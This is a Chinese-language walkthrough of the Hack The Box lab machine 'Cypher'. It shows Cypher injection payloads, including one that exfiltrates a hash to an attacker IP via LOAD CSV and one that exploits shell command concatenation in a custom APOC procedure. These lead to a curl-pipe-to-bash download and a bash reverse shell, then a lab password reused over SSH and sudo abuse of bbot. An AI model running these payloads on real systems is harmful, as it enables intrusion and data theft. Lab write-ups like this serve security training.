HTB靶机 - Cypher

admin 2025年3月10日13:25:57评论207 views字数 2321阅读7分44秒阅读模式

信息收集

1、端口

nmap扫描端口

nmap -sS --min-rate 10000 -sV -O 10.10.11.57

PORT   STATE SERVICE    VERSION
22/tcp open  tcpwrapped
80/tcp open  tcpwrapped

访问10.10.11.57 -> 跳转到了cypher.htb -> 添加本地的DNS解析

sudo vim /etc/hosts
10.10.11.57 cypher.htb

2、目录扫描

dirsearch -u http://cypher.htb/ 

/testing
/demo
/api

访问/testing -> 有一个custom-apoc-extension-1.0-SNAPSHOT.jar包 -> 下载下来

3、子域名扫描

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://cypher.htb -H "Host: FUZZ.cypher.htb" 

没信息

打点

登录框  -> Cypher注入

HTB靶机 - Cypher
cypher-00
输入 admin' -> 报错回显
当时看了看Cypher注入的文章,但是没试出来,这里ssrf外带出了hash

admin' OR 1=1  LOAD CSV FROM 'http://10.10.16.64/a='+h.value AS y Return ''//
-> h是SHA1,所以返回的是加密数据
9f54ca4c130be6d529a56dee59dc2b2090e43acf
在线的网站爆不出来
HTB靶机 - Cypher
cypher-01

通过IDEA查看jar反编译的代码

public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
        url = "https://" + url;
    }

    String[] command = new String[]{"/bin/sh""-c""curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
    System.out.println("Command: " + Arrays.toString(command));
    Process process = Runtime.getRuntime().exec(command);

这里是传一个url,然后直接用了 binsh -c -> 用来检测状态码的

直接拼接url

// cypher payload

admin' return h.value as value union call custom.getUrlStatusCode("http://127.0.0.1;curl 10.10.16.64/shell.sh|bash;") yield statusCode as value return value;//

// 在本机开启python http服务,然后cypher注入
// 致使靶机进行curl 我们的shell.sh | bash -> bash命令执行shell.sh 从而反弹shell
// shell.sh的内容为 bash反弹shell -> bash -i >& /dev/tcp/10.10.16.64/9999 0>&1
HTB靶机 - Cypher
cypher-03

反弹shell成功

切换到home目录下,有一个 graphasm 用户 ->  里面的user.txt无权获取内容 -> 但有一个可以直接cat

neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

ssh连接graphasm用户,这是我没想到的,给的usernameneo4j啊 - -.

成功获取user.txt

HTB靶机 - Cypher
cypher-04

提权

sudo -l

HTB靶机 - Cypher
cypher-05
大概意思就是 /usr/local/bin/bbot 可以不需要输入root的密码直接执行,且执行权限是root
那就要对该内容进行分析了

搜了一下bbot是什么,原来是个工具啊。

HTB靶机 - Cypher
cypher-06
sudo /usr/local/bin/bbot -cy /root/root.txt --debug

--debug:显示文件内容

HTB靶机 - Cypher
cypher-07

总结

Cypher注入,得到了hash值,但是无法破解,对源码的泄露的分析,知道是URL拼接,直接反弹shell,得到密码

sudo -l提权,然后配合bbot的命令参数和--debug模式 输出root.txt内容

参考文章:

https://hackmd.io/@Chivato/rkAN7Q9NY

https://neo4j.com/developer/kb/protecting-against-cypher-injection/

https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8

原文始发于微信公众号(夜风Sec):HTB靶机 - Cypher

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日13:25:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶机 - Cypherhttps://cn-sec.com/archives/3822014.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息